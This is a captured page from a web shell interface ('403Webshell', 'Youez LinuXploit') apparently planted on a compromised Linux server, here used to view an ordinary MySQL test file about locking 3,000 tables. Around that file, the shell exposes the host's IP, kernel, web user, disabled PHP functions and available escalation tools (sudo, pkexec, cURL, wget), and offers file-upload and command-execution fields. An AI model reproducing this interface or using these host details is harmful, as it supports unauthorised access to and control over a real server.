403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.208.33
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/large_tests/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/large_tests/t/lock_tables_big.test
#
# Bug#24509 cannot use more than 2048 file descriptors on windows
#

#
# This test requires approximately 6000 of files to be open simultaneously.
# Let us skip it on platforms where open files limit is too low.
let $max_open_files_limit= `SELECT @@open_files_limit < 6100`;
if ($max_open_files_limit)
{
  skip Need open_files_limit to be greater than 6100;
}

--disable_query_log
create database many_tables;
use many_tables;
let $max_tables=3000;
let $i=$max_tables;

--disable_warnings
create table t (i int);
let $table_list=t READ; 

while ($i)
{
 eval create table t$i (i int);
 let $table_list= $table_list ,t$i READ;
 dec $i;
}

#lock all tables we just created (resembles mysqldump startup is doing with --all-databases operation)
#There will be 2 descriptors for each table (table.MYI and table.MYD files) means 6000 files
#descriptors altogether. For Microsoft C runtime, this is way too many.

eval LOCK TABLES $table_list;
unlock tables;

drop database many_tables;
--enable_query_log
--echo all done



Youez - 2016 - github.com/yon3zu
LinuXploit